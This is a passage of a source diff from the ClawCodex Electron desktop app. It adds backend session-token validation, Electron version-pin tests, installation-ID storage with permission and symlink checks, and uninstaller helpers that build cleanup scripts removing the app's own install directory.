+  const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
+    if (error.name === 'TimeoutError') {
+      throw new Error(`Timed out connecting to ClawCodex backend after ${timeoutMs}ms`)
+    }
+
+    throw error
+  })
+
+  const text = await res.text()
+
+  if (!res.ok) {
+    throw new Error(`${res.status}: ${text || res.statusText}`)
+  }
+
+  return text
+}
+
+function extractInjectedDashboardToken(html) {
+  const match = /window\.__CLAWCODEX_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
+
+  if (!match) {
+    return null
+  }
+
+  try {
+    return JSON.parse(match[1])
+  } catch {
+    return null
+  }
+}
+
+function dashboardIndexUrl(baseUrl) {
+  return `${String(baseUrl || '').replace(/\/+$/, '')}/`
+}
+
+async function resolveServedDashboardToken(baseUrl, fallbackToken, options: any = {}) {
+  const fetchText = options.fetchText || fetchPublicText
+
+  const html = await fetchText(dashboardIndexUrl(baseUrl), {
+    timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+  })
+
+  const servedToken = extractInjectedDashboardToken(html)
+
+  if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
+    options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
+  }
+
+  return servedToken || fallbackToken
+}
+
+/**
+ * A served token that differs from our spawn token while our child is DEAD
+ * came from a process we did not spawn (orphan/port squatter that satisfied
+ * the public /api/status readiness probe). With a live child the mismatch is
+ * benign: our own backend regenerated the token because the env pin did not
+ * survive the spawn.
+ */
+function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
+  return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
+}
+
+/**
+ * Resolve the token the backend actually serves, adopting benign drift and
+ * failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
+ * sampled after the fetch, not before.
+ */
+async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'ClawCodex backend', ...options }) {
+  const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
+    options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
+
+    return spawnToken
+  })
+
+  if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
+    throw new Error(
+      `${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
+    )
+  }
+
+  return servedToken
+}
+
+export {
+  adoptServedDashboardToken,
+  dashboardIndexUrl,
+  DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
+  extractInjectedDashboardToken,
+  fetchPublicText,
+  isForeignBackendToken,
+  resolveServedDashboardToken
+}
diff --git a/ui-desktop/electron/desktop-electron-pin.test.ts b/ui-desktop/electron/desktop-electron-pin.test.ts
new file mode 100644
index 000000000..9714694a6
--- /dev/null
+++ b/ui-desktop/electron/desktop-electron-pin.test.ts
@@ -0,0 +1,109 @@
+/**
+ * Regression: the desktop Electron dependency must be an exact, consistent pin.
+ *
+ * The Windows desktop install failed at "Building desktop app" because Electron
+ * changed its install mechanism mid patch-series:
+ *
+ *     electron 40.9.3 .. 40.10.2  -> @electron/get@^2 + extract-zip@^2  (pure JS)
+ *     electron 40.10.3 / 40.10.4  -> @electron/get@^5 +
+ *                                    @electron-internal/extract-zip@^1 (native napi)
+ *
+ * ``apps/desktop/package.json`` declared ``electronVersion: 40.9.3`` (the tested,
+ * JS-extract build) but pinned the dependency loosely as ``electron: ^40.9.3``.
+ * ``npm ci`` then resolved 40.10.3/40.10.4 — the new *native* extract-zip whose
+ * win32-x64 binding fails to ``dlopen`` on some Windows hosts
+ * (``ERR_DLOPEN_FAILED loading index.win32-x64-msvc.node``).
+ *
+ * These tests lock the contract that prevents that drift, without hard-coding the
+ * specific version (which is allowed to move):
+ *
+ * 1. the Electron dependency is an *exact* version (Electron Builder needs the
+ *    installed binary to match ``electronVersion`` / ``electronDist``), and
+ * 2. the dependency, ``build.electronVersion``, and the resolved lockfile entry
+ *    all agree — so ``npm ci`` installs exactly what the build packages.
+ */
+
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+const DESKTOP_ROOT = path.resolve(__dirname, '..')
+const DESKTOP_PKG = path.join(DESKTOP_ROOT, 'package.json')
+const ROOT_LOCK = path.join(DESKTOP_ROOT, 'package-lock.json')
+
+// An exact semver: digits.digits.digits with an optional prerelease/build tag,
+// but NO range operators (^ ~ > < = * x || spaces || -range).
+const EXACT_SEMVER = /^\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?$/
+
+function desktopPkg(): Record<string, unknown> {
+  assert.ok(fs.existsSync(DESKTOP_PKG), `missing ${DESKTOP_PKG}`)
+
+  return JSON.parse(fs.readFileSync(DESKTOP_PKG, 'utf-8'))
+}
+
+function electronSpec(pkg: Record<string, unknown>): string {
+  for (const section of ['dependencies', 'devDependencies'] as const) {
+    const deps = (pkg[section] ?? {}) as Record<string, string>
+    const spec = deps['electron']
+
+    if (spec) {
+      return spec
+    }
+  }
+
+  assert.fail('electron is not listed in ui-desktop dependencies')
+}
+
+test('electron dependency is exactly pinned', () => {
+  const spec = electronSpec(desktopPkg())
+  assert.match(
+    spec,
+    EXACT_SEMVER,
+    `electron must be pinned to an exact version, got "${spec}". ` +
+      'A range (^/~) lets npm ci resolve a newer Electron whose postinstall ' +
+      'may differ from the one the build was validated against.'
+  )
+})
+
+test('electron dependency matches build.electronVersion', () => {
+  const pkg = desktopPkg()
+  const spec = electronSpec(pkg)
+  const build = (pkg.build ?? {}) as Record<string, unknown>
+  const builderVersion = build.electronVersion as string | undefined
+  assert.ok(builderVersion, 'build.electronVersion is missing')
+  assert.equal(
+    spec,
+    builderVersion,
+    `electron dependency ("${spec}") must equal build.electronVersion ` +
+      `("${builderVersion}"); otherwise electron-builder packages a different ` +
+      'version than npm installs into electronDist.'
+  )
+})
+
+test('lockfile resolves the pinned electron', () => {
+  if (!fs.existsSync(ROOT_LOCK)) {
+    return
+  } // skip if lockfile not present
+
+  const spec = electronSpec(desktopPkg())
+  const lock = JSON.parse(fs.readFileSync(ROOT_LOCK, 'utf-8'))
+  const packages = (lock.packages ?? {}) as Record<string, { version?: string }>
+
+  const resolved = Object.entries(packages)
+    .filter(([key]) => key.endsWith('node_modules/electron'))
+    .map(([, meta]) => meta.version)
+    .filter((v): v is string => !!v)
+
+  assert.ok(resolved.length > 0, 'no electron entry found in package-lock.json')
+
+  for (const v of resolved) {
+    assert.equal(
+      v,
+      spec,
+      `package-lock.json resolves electron to ${v}, but the pin is "${spec}"; ` +
+        'run `npm install --package-lock-only` so `npm ci` stays consistent.'
+    )
+  }
+})
diff --git a/ui-desktop/electron/desktop-installation.test.ts b/ui-desktop/electron/desktop-installation.test.ts
new file mode 100644
index 000000000..a8627fa78
--- /dev/null
+++ b/ui-desktop/electron/desktop-installation.test.ts
@@ -0,0 +1,105 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import { loadOrCreateInstallationId, parseInstallationId, sshOwnershipId } from './desktop-installation'
+
+const ID_A = '11111111-1111-4111-8111-111111111111'
+const ID_B = '22222222-2222-4222-8222-222222222222'
+
+function withTempDir(run) {
+  const directory = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-installation-'))
+
+  try {
+    return run(directory)
+  } finally {
+    fs.rmSync(directory, { recursive: true, force: true })
+  }
+}
+
+test('parseInstallationId accepts only a version-4 UUID record', () => {
+  assert.equal(parseInstallationId(JSON.stringify({ installationId: ID_A.toUpperCase() })), ID_A)
+  assert.equal(parseInstallationId(JSON.stringify({ installationId: 'not-an-id' })), '')
+  assert.equal(parseInstallationId('{}'), '')
+  assert.equal(parseInstallationId('{'), '')
+})
+
+test('loadOrCreateInstallationId persists and reuses one installation ID', () =>
+  withTempDir(directory => {
+    const filePath = path.join(directory, 'desktop-installation.json')
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_A),
+      ID_A
+    )
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_B),
+      ID_A
+    )
+    assert.equal(fs.statSync(filePath).mode & 0o777, 0o600)
+  }))
+
+test('loadOrCreateInstallationId tightens an existing identity file', () =>
+  withTempDir(directory => {
+    const filePath = path.join(directory, 'desktop-installation.json')
+    fs.writeFileSync(filePath, JSON.stringify({ installationId: ID_A }), { mode: 0o644 })
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_B),
+      ID_A
+    )
+
+    if (process.platform !== 'win32') {
+      assert.equal(fs.statSync(filePath).mode & 0o777, 0o600)
+    }
+  }))
+
+test('loadOrCreateInstallationId replaces a malformed existing record', () =>
+  withTempDir(directory => {
+    const filePath = path.join(directory, 'desktop-installation.json')
+    fs.writeFileSync(filePath, '{', { mode: 0o600 })
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_A),
+      ID_A
+    )
+    assert.equal(JSON.parse(fs.readFileSync(filePath, 'utf8')).installationId, ID_A)
+  }))
+
+test('loadOrCreateInstallationId replaces an existing symlink', () =>
+  withTempDir(directory => {
+    if (process.platform === 'win32') {
+      return
+    }
+
+    const target = path.join(directory, 'target.json')
+    const filePath = path.join(directory, 'desktop-installation.json')
+    fs.writeFileSync(target, JSON.stringify({ installationId: ID_B }), { mode: 0o600 })
+    fs.symlinkSync(target, filePath)
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_A),
+      ID_A
+    )
+    assert.equal(fs.lstatSync(filePath).isSymbolicLink(), false)
+    assert.equal(JSON.parse(fs.readFileSync(target, 'utf8')).installationId, ID_B)
+  }))
+
+test('loadOrCreateInstallationId replaces a malformed destination without a repair lock', () =>
+  withTempDir(directory => {
+    const filePath = path.join(directory, 'desktop-installation.json')
+    fs.writeFileSync(filePath, '{', { mode: 0o600 })
+    assert.equal(
+      loadOrCreateInstallationId(filePath, () => ID_A),
+      ID_A
+    )
+    assert.equal(fs.existsSync(`${filePath}.lock`), false)
+  }))
+
+test('sshOwnershipId is stable, scoped, and does not disclose the UUID', () => {
+  const global = sshOwnershipId(ID_A, '')
+  assert.match(global, /^[0-9a-f]{32}$/)
+  assert.equal(global, sshOwnershipId(ID_A, ''))
+  assert.notEqual(global, sshOwnershipId(ID_A, 'worker'))
+  assert.ok(!global.includes(ID_A.slice(0, 8)))
+  assert.throws(() => sshOwnershipId('bad', ''))
+})
diff --git a/ui-desktop/electron/desktop-installation.ts b/ui-desktop/electron/desktop-installation.ts
new file mode 100644
index 000000000..2a067ca96
--- /dev/null
+++ b/ui-desktop/electron/desktop-installation.ts
@@ -0,0 +1,137 @@
+import crypto from 'node:crypto'
+import fs from 'node:fs'
+import path from 'node:path'
+
+const INSTALLATION_ID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i
+
+function parseInstallationId(raw) {
+  try {
+    const value = JSON.parse(String(raw || ''))?.installationId
+
+    return INSTALLATION_ID_RE.test(value) ? value.toLowerCase() : ''
+  } catch {
+    return ''
+  }
+}
+
+function readInstallationId(filePath) {
+  try {
+    const stat = fs.lstatSync(filePath)
+
+    if (!stat.isFile() || stat.isSymbolicLink()) {
+      return ''
+    }
+
+    if (typeof process.getuid === 'function' && stat.uid !== process.getuid()) {
+      return ''
+    }
+
+    if (process.platform !== 'win32' && (stat.mode & 0o777) !== 0o600) {
+      fs.chmodSync(filePath, 0o600)
+    }
+
+    return parseInstallationId(fs.readFileSync(filePath, 'utf8'))
+  } catch {
+    return ''
+  }
+}
+
+function waitForRepair() {
+  const buffer = new SharedArrayBuffer(4)
+  Atomics.wait(new Int32Array(buffer), 0, 0, 25)
+}
+
+function loadOrCreateInstallationId(filePath, randomUUID = crypto.randomUUID) {
+  const existing = readInstallationId(filePath)
+
+  if (existing) {
+    return existing
+  }
+
+  fs.mkdirSync(path.dirname(filePath), { recursive: true })
+  const installationId = randomUUID().toLowerCase()
+
+  if (!INSTALLATION_ID_RE.test(installationId)) {
+    throw new Error('Could not generate a valid desktop installation ID.')
+  }
+
+  const repairPath = `${filePath}.repair.lock`
+
+  for (let attempt = 0; attempt < 40; attempt++) {
+    let repairFd
+
+    try {
+      repairFd = fs.openSync(repairPath, 'wx', 0o600)
+    } catch (error: any) {
+      if (error?.code !== 'EEXIST') {
+        throw error
+      }
+
+      const winner = readInstallationId(filePath)
+
+      if (winner) {
+        return winner
+      }
+
+      waitForRepair()
+
+      continue
+    }
+
+    try {
+      const winner = readInstallationId(filePath)
+
+      if (winner) {
+        return winner
+      }
+
+      try {
+        const stat = fs.lstatSync(filePath)
+
+        if (!stat.isFile() && !stat.isSymbolicLink()) {
+          throw new Error('Desktop installation ID path is not a regular file.')
+        }
+
+        if (!stat.isSymbolicLink() && typeof process.getuid === 'function' && stat.uid !== process.getuid()) {
+          throw new Error('Desktop installation ID is owned by another user.')
+        }
+
+        fs.unlinkSync(filePath)
+      } catch (error: any) {
+        if (error?.code !== 'ENOENT') {
+          throw error
+        }
+      }
+
+      fs.writeFileSync(filePath, JSON.stringify({ installationId }), { encoding: 'utf8', flag: 'wx', mode: 0o600 })
+
+      return installationId
+    } finally {
+      if (repairFd !== undefined) {
+        fs.closeSync(repairFd)
+      }
+
+      try {
+        fs.unlinkSync(repairPath)
+      } catch {
+        void 0
+      }
+    }
+  }
+
+  throw new Error('Could not repair the desktop installation ID.')
+}
+
+function sshOwnershipId(installationId, scope) {
+  if (!INSTALLATION_ID_RE.test(String(installationId || ''))) {
+    throw new Error('Desktop installation ID is invalid.')
+  }
+
+  return crypto
+    .createHash('sha256')
+    .update(`${installationId}\0${String(scope || '')}`)
+    .digest('hex')
+    .slice(0, 32)
+}
+
+export { INSTALLATION_ID_RE, loadOrCreateInstallationId, parseInstallationId, readInstallationId, sshOwnershipId }
diff --git a/ui-desktop/electron/desktop-uninstall.test.ts b/ui-desktop/electron/desktop-uninstall.test.ts
new file mode 100644
index 000000000..578c8c13b
--- /dev/null
+++ b/ui-desktop/electron/desktop-uninstall.test.ts
@@ -0,0 +1,251 @@
+/**
+ * Tests for electron/desktop-uninstall.ts.
+ *
+ * Run with: node --test electron/desktop-uninstall.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * These are the pure helpers behind the desktop Chat GUI uninstaller: the
+ * mode → CLI-flag mapping, the running-app-bundle resolution per OS, and the
+ * cleanup-script builders (POSIX + Windows).
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  buildPosixCleanupScript,
+  buildWindowsCleanupScript,
+  modeRemovesAgent,
+  modeRemovesUserData,
+  resolveRemovableAppPath,
+  shouldRemoveAppBundle,
+  UNINSTALL_MODES,
+  uninstallArgsForMode
+} from './desktop-uninstall'
+
+// --- uninstallArgsForMode ---
+
+test('uninstallArgsForMode maps each mode to the module-runner argv', () => {
+  assert.deepEqual(uninstallArgsForMode('gui'), ['-m', 'clawcodex_cli.uninstall', '--mode', 'gui'])
+  assert.deepEqual(uninstallArgsForMode('lite'), ['-m', 'clawcodex_cli.uninstall', '--mode', 'lite'])
+  assert.deepEqual(uninstallArgsForMode('full'), ['-m', 'clawcodex_cli.uninstall', '--mode', 'full'])
+})
+
+test('uninstallArgsForMode throws on an unknown mode (no silent full wipe)', () => {
+  assert.throws(() => uninstallArgsForMode('nuke'), /Unknown uninstall mode/)
+  assert.throws(() => uninstallArgsForMode(''), /Unknown uninstall mode/)
+})
+
+test('UNINSTALL_MODES lists exactly the three supported modes', () => {
+  assert.deepEqual([...UNINSTALL_MODES].sort(), ['full', 'gui', 'lite'])
+})
+
+// --- modeRemovesAgent / modeRemovesUserData ---
+
+test('mode predicates classify what each mode removes', () => {
+  assert.equal(modeRemovesAgent('gui'), false)
+  assert.equal(modeRemovesAgent('lite'), true)
+  assert.equal(modeRemovesAgent('full'), true)
+
+  assert.equal(modeRemovesUserData('gui'), false)
+  assert.equal(modeRemovesUserData('lite'), false)
+  assert.equal(modeRemovesUserData('full'), true)
+})
+
+// --- resolveRemovableAppPath ---
+
+test('resolveRemovableAppPath finds the .app bundle on macOS', () => {
+  assert.equal(
+    resolveRemovableAppPath('/Applications/ClawCodex.app/Contents/MacOS/ClawCodex', 'darwin'),
+    '/Applications/ClawCodex.app'
+  )
+  assert.equal(
+    resolveRemovableAppPath('/Users/x/Applications/ClawCodex.app/Contents/MacOS/ClawCodex', 'darwin'),
+    '/Users/x/Applications/ClawCodex.app'
+  )
+})
+
+test('resolveRemovableAppPath: dev-run .app resolves (safety is shouldRemoveAppBundle, not null)', () => {
+  // A dev run from node_modules' Electron DOES resolve to a .app — the real
+  // dev-run safety gate is shouldRemoveAppBundle(isPackaged=false,...), not a
+  // null return here. This test documents that contract.
+  assert.equal(
+    resolveRemovableAppPath('/repo/node_modules/electron/dist/Electron.app/Contents/MacOS/Electron', 'darwin'),
+    '/repo/node_modules/electron/dist/Electron.app'
+  )
+  assert.equal(shouldRemoveAppBundle(false, '/repo/node_modules/electron/dist/Electron.app'), false)
+  // A bare path with no .app ancestor → null.
+  assert.equal(resolveRemovableAppPath('/usr/bin/electron', 'darwin'), null)
+})
+
+test('resolveRemovableAppPath finds the install dir on Windows', () => {
+  assert.equal(
+    resolveRemovableAppPath('C:\\Users\\x\\AppData\\Local\\Programs\\ClawCodex\\ClawCodex.exe', 'win32'),
+    'C:\\Users\\x\\AppData\\Local\\Programs\\ClawCodex'
+  )
+  assert.equal(
+    resolveRemovableAppPath('C:\\Users\\x\\AppData\\Local\\clawcodex-desktop\\ClawCodex.exe', 'win32'),
+    'C:\\Users\\x\\AppData\\Local\\clawcodex-desktop'
+  )
+})
+
+test('resolveRemovableAppPath returns null for an unrecognized Windows dir', () => {
+  assert.equal(resolveRemovableAppPath('C:\\Temp\\foo\\ClawCodex.exe', 'win32'), null)
+})
+
+test('resolveRemovableAppPath uses APPIMAGE on Linux when set', () => {
+  assert.equal(
+    resolveRemovableAppPath('/tmp/.mount_ClawCodexXXXX/clawcodex', 'linux', { APPIMAGE: '/home/x/Apps/ClawCodex.AppImage' }),
+    '/home/x/Apps/ClawCodex.AppImage'
+  )
+})
+
+test('resolveRemovableAppPath finds the unpacked dir on Linux', () => {
+  assert.equal(resolveRemovableAppPath('/opt/clawcodex/linux-unpacked/clawcodex', 'linux', {}), '/opt/clawcodex/linux-unpacked')
+  // A system-package install (/usr/bin) → null, left to apt/dnf.
+  assert.equal(resolveRemovableAppPath('/usr/bin/clawcodex', 'linux', {}), null)
+})
+
+test('resolveRemovableAppPath returns null for an empty exe path', () => {
+  assert.equal(resolveRemovableAppPath('', 'darwin'), null)
+  assert.equal(resolveRemovableAppPath(null, 'win32'), null)
+})
+
+// --- shouldRemoveAppBundle ---
+
+test('shouldRemoveAppBundle requires packaged AND a resolved path', () => {
+  assert.equal(shouldRemoveAppBundle(true, '/Applications/ClawCodex.app'), true)
+  assert.equal(shouldRemoveAppBundle(false, '/Applications/ClawCodex.app'), false)
+  assert.equal(shouldRemoveAppBundle(true, null), false)
+  assert.equal(shouldRemoveAppBundle(false, null), false)
+})
+
+// --- buildPosixCleanupScript ---
+
+test('buildPosixCleanupScript waits for the PID, runs the uninstall module, removes bundle', () => {
+  const script = buildPosixCleanupScript({
+    desktopPid: 4321,
+    pythonExe: '/home/x/.clawcodex/clawcodex/venv/bin/python',
+    pythonPath: null,
+    agentRoot: '/home/x/.clawcodex/clawcodex',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'gui'],
+    appPath: '/opt/clawcodex/linux-unpacked',
+    clawcodexHome: '/home/x/.clawcodex'
+  })
+
+  assert.match(script, /^#!\/bin\/bash/)
+  assert.match(script, /pid=4321/)
+  assert.match(script, /kill -0 "\$pid"/)
+  // bounded wait (~30s), not unbounded
+  assert.match(script, /seq 1 60/)
+  assert.match(script, /'-m' 'clawcodex_cli\.uninstall' '--mode' 'gui'/)
+  assert.match(script, /rm -rf '\/opt\/clawcodex\/linux-unpacked'/)
+  assert.match(script, /export CLAWCODEX_CONFIG_DIR='\/home\/x\/\.clawcodex'/)
+})
+
+test('buildPosixCleanupScript exports PYTHONPATH when pythonPath is set (lite/full)', () => {
+  const script = buildPosixCleanupScript({
+    desktopPid: 1,
+    pythonExe: '/usr/bin/python3',
+    pythonPath: '/home/x/.clawcodex/clawcodex',
+    agentRoot: '/home/x/.clawcodex/clawcodex',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'full'],
+    appPath: null,
+    clawcodexHome: '/home/x/.clawcodex'
+  })
+
+  // System python + source on PYTHONPATH so import clawcodex_cli works while the
+  // venv is torn down.
+  assert.match(script, /export PYTHONPATH='\/home\/x\/\.clawcodex\/clawcodex'/)
+  assert.match(script, /'\/usr\/bin\/python3' '-m' 'clawcodex_cli\.uninstall' '--mode' 'full'/)
+})
+
+test('buildPosixCleanupScript omits PYTHONPATH when pythonPath is null (gui)', () => {
+  const script = buildPosixCleanupScript({
+    desktopPid: 1,
+    pythonExe: '/p/python',
+    pythonPath: null,
+    agentRoot: '/a',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'gui'],
+    appPath: null,
+    clawcodexHome: '/h'
+  })
+
+  assert.doesNotMatch(script, /export PYTHONPATH/)
+})
+
+test('buildPosixCleanupScript omits the bundle rm when appPath is null', () => {
+  const script = buildPosixCleanupScript({
+    desktopPid: 1,
+    pythonExe: '/p/python',
+    pythonPath: null,
+    agentRoot: '/a',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'lite'],
+    appPath: null,
+    clawcodexHome: '/h'
+  })
+
+  assert.doesNotMatch(script, /rm -rf '\//)
+  // Still runs the uninstall.
+  assert.match(script, /'-m' 'clawcodex_cli\.uninstall' '--mode' 'lite'/)
+})
+
+test('buildPosixCleanupScript single-quote-escapes paths with apostrophes', () => {
+  const script = buildPosixCleanupScript({
+    desktopPid: 1,
+    pythonExe: "/home/o'brien/python",
+    pythonPath: null,
+    agentRoot: '/a',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'gui'],
+    appPath: null,
+    clawcodexHome: '/h'
+  })
+
+  // The apostrophe is closed-escaped-reopened so the shell sees the literal.
+  assert.match(script, /'\/home\/o'\\''brien\/python'/)
+})
+
+// --- buildWindowsCleanupScript ---
+
+test('buildWindowsCleanupScript waits (bounded) for PID, runs uninstall, rmdir bundle', () => {
+  const script = buildWindowsCleanupScript({
+    desktopPid: 9988,
+    pythonExe: 'C:\\Python313\\python.exe',
+    pythonPath: 'C:\\clawcodex',
+    agentRoot: 'C:\\clawcodex',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'full'],
+    appPath: 'C:\\Users\\x\\AppData\\Local\\Programs\\ClawCodex',
+    clawcodexHome: 'C:\\Users\\x\\AppData\\Local\\clawcodex'
+  })
+
+  assert.match(script, /@echo off/)
+  assert.match(script, /set "PID=9988"/)
+  // PYTHONPATH set so a system python can import clawcodex_cli from source.
+  assert.match(script, /set "PYTHONPATH=C:\\clawcodex;%PYTHONPATH%"/)
+  assert.match(script, /"C:\\Python313\\python.exe" "-m" "clawcodex_cli\.uninstall" "--mode" "full"/)
+  // Bounded wait-loop (no infinite loop), whole-token PID match (no substring).
+  assert.match(script, /if %waited% geq 60 goto waited_done/)
+  assert.match(script, /findstr \/r \/c:" %PID% "/)
+  assert.doesNotMatch(script, /find "%PID%"/) // the old substring-prone form is gone
+  // Removal is a retry loop (Windows releases dir handles lazily).
+  assert.match(script, /:rmloop/)
+  assert.match(script, /rmdir \/s \/q "C:\\Users\\x\\AppData\\Local\\Programs\\ClawCodex" >nul 2>&1/)
+  assert.match(script, /if %tries% geq 10 goto rmdone/)
+  assert.match(script, /del "%~f0"/)
+})
+
+test('buildWindowsCleanupScript omits PYTHONPATH + rmdir when not needed (gui, no bundle)', () => {
+  const script = buildWindowsCleanupScript({
+    desktopPid: 2,
+    pythonExe: 'C:\\h\\venv\\Scripts\\python.exe',
+    pythonPath: null,
+    agentRoot: 'C:\\h',
+    uninstallArgs: ['-m', 'clawcodex_cli.uninstall', '--mode', 'gui'],
+    appPath: null,
+    clawcodexHome: 'C:\\h'
+  })
+
+  assert.doesNotMatch(script, /rmdir/)
+  assert.doesNotMatch(script, /set "PYTHONPATH=/)
+})
diff --git a/ui-desktop/electron/desktop-uninstall.ts b/ui-desktop/electron/desktop-uninstall.ts
new file mode 100644
index 000000000..3b098b546
--- /dev/null
+++ b/ui-desktop/electron/desktop-uninstall.ts
@@ -0,0 +1,268 @@
+/**
+ * desktop-uninstall.ts
+ *
+ * Pure, electron-free helpers for the desktop Chat GUI uninstaller. These map
+ * the three user-facing uninstall modes to the `clawcodex uninstall` CLI flags,
+ * resolve the running app bundle/exe so a detached cleanup script can remove
+ * it after the app quits, and build that cleanup script for each OS.
+ *
+ * Kept standalone (no ` import 'electron'`) so it can be unit-tested with
+ * `node --test` — same pattern as connection-config.ts / backend-probes.ts.
+ * main.ts requires these and wires them into the electron-coupled IPC layer.
+ *
+ * The three modes mirror the CLI's options exactly:
+ *   - 'gui'  → remove ONLY the Chat GUI, keep the agent + all user data.
+ *              `clawcodex uninstall --gui --yes`
+ *   - 'lite' → remove the GUI + agent code, KEEP user data (config / sessions
+ *              / .env) for a future reinstall. `clawcodex uninstall --yes`
+ *   - 'full' → remove everything: GUI + agent + all user data.
+ *              `clawcodex uninstall --full --yes`
+ *
+ * Why a detached cleanup script: 'lite'/'full' delete the very venv the
+ * `clawcodex` command runs from, and every mode may need to delete the running
+ * app bundle (locked on macOS/Windows while the process is alive). So we hand
+ * the work to a detached child that waits for this app's PID to exit, runs the
+ * Python uninstall, then removes the app bundle — then the app quits. Same
+ * shape as the self-update swap-and-relaunch flow already in main.ts.
+ */
+
+import path from 'node:path'
+
+const UNINSTALL_MODES = ['gui', 'lite', 'full']
+
+/**
+ * Map an uninstall mode to the `python -m clawcodex_cli.uninstall` argv (after the
+ * python executable). Uses the dedicated lightweight module entrypoint (not
+ * `clawcodex_cli.main`) so it can run under a system Python OUTSIDE the venv that
+ * lite/full delete — see the Finding-3 note in buildWindowsCleanupScript.
+ * Throws on an unknown mode so a typo can't silently become a full wipe.
+ */
+function uninstallArgsForMode(mode) {
+  if (!UNINSTALL_MODES.includes(mode)) {
+    throw new Error(`Unknown uninstall mode: ${mode}`)
+  }
+
+  return ['-m', 'clawcodex_cli.uninstall', '--mode', mode]
+}
+
+/** True when `mode` removes the agent (lite/full), false for gui-only. */
+function modeRemovesAgent(mode) {
+  return mode === 'lite' || mode === 'full'
+}
+
+/** True when `mode` removes user data (full only). */
+function modeRemovesUserData(mode) {
+  return mode === 'full'
+}
+
+/**
+ * Resolve the on-disk app bundle/dir to remove for the running desktop app,
+ * given the path to the running executable (`process.execPath`) and platform.
+ *
+ *   macOS:   …/ClawCodex.app/Contents/MacOS/ClawCodex  → …/ClawCodex.app
+ *   Windows: …\ClawCodex\ClawCodex.exe                 → …\ClawCodex  (install dir)
+ *   Linux:   AppImage → the APPIMAGE env path; unpacked → the *-unpacked dir
+ *
+ * Returns null when we can't confidently identify a removable bundle (e.g.
+ * running from a dev checkout, or a system-package install we must not rmtree).
+ */
+function resolveRemovableAppPath(execPath, platform, env: any = {}) {
+  const exe = String(execPath || '')
+
+  if (!exe) {
+    return null
+  }
+
+  // Use the path flavor that matches the TARGET platform, not the host running
+  // this code — so the Windows branch parses backslash paths correctly even
+  // when these pure helpers are unit-tested on Linux/macOS CI.
+  const p = platform === 'win32' ? path.win32 : path.posix
+
+  if (platform === 'darwin') {
+    // …/ClawCodex.app/Contents/MacOS/ClawCodex → strip 3 segments to the .app
+    const macOsDir = p.dirname(exe) // …/Contents/MacOS
+    const contents = p.dirname(macOsDir) // …/Contents
+    const appBundle = p.dirname(contents) // …/ClawCodex.app
+
+    if (appBundle.endsWith('.app')) {
+      return appBundle
+    }
+
+    return null
+  }
+
+  if (platform === 'win32') {
+    // NSIS per-user installs ClawCodex.exe directly in the install dir.
+    const dir = p.dirname(exe)
+
+    if (/[\\/]ClawCodex$/i.test(dir) || /[\\/]clawcodex-desktop$/i.test(dir)) {
+      return dir
+    }
+
+    return null
+  }
+
+  // Linux: an AppImage exposes its own path via the APPIMAGE env var.
+  if (env.APPIMAGE) {
+    return env.APPIMAGE
+  }
+
+  // Unpacked electron-builder tree: …/linux-unpacked/clawcodex
+  const dir = p.dirname(exe)
+
+  if (/-unpacked$/.test(dir)) {
+    return dir
+  }
+
+  return null
+}
+
+/**
+ * Should we even try to remove the running app bundle from a cleanup script?
+ * Only when packaged AND we resolved a concrete removable path. Dev runs
+ * (electron from node_modules) and system-package installs return null above
+ * and are left to the OS package manager.
+ */
+function shouldRemoveAppBundle(isPackaged, appPath) {
+  return Boolean(isPackaged) && Boolean(appPath)
+}
+
+/**
+ * Build a POSIX cleanup shell script (macOS / Linux). It:
+ *   1. waits (bounded ~30s) for the desktop PID to exit (venv/bundle unlock),
+ *   2. runs the Python uninstall module with the mode,
+ *   3. removes the app bundle if one was resolved.
+ *
+ * `pythonExe` should be a Python OUTSIDE the venv for lite/full (the venv is
+ * being deleted); `pythonPath` is prepended to PYTHONPATH so `import clawcodex_cli`
+ * resolves from the agent source. `q()` single-quote-escapes for the shell
+ * (closes-escapes-reopens any embedded apostrophe), defending against spaces.
+ */
+function buildPosixCleanupScript({ desktopPid, pythonExe, pythonPath, agentRoot, uninstallArgs, appPath, clawcodexHome }) {
+  const q = s => `'${String(s).replace(/'/g, `'\\''`)}'`
+
+  const lines = [
+    '#!/bin/bash',
+    'set -u',
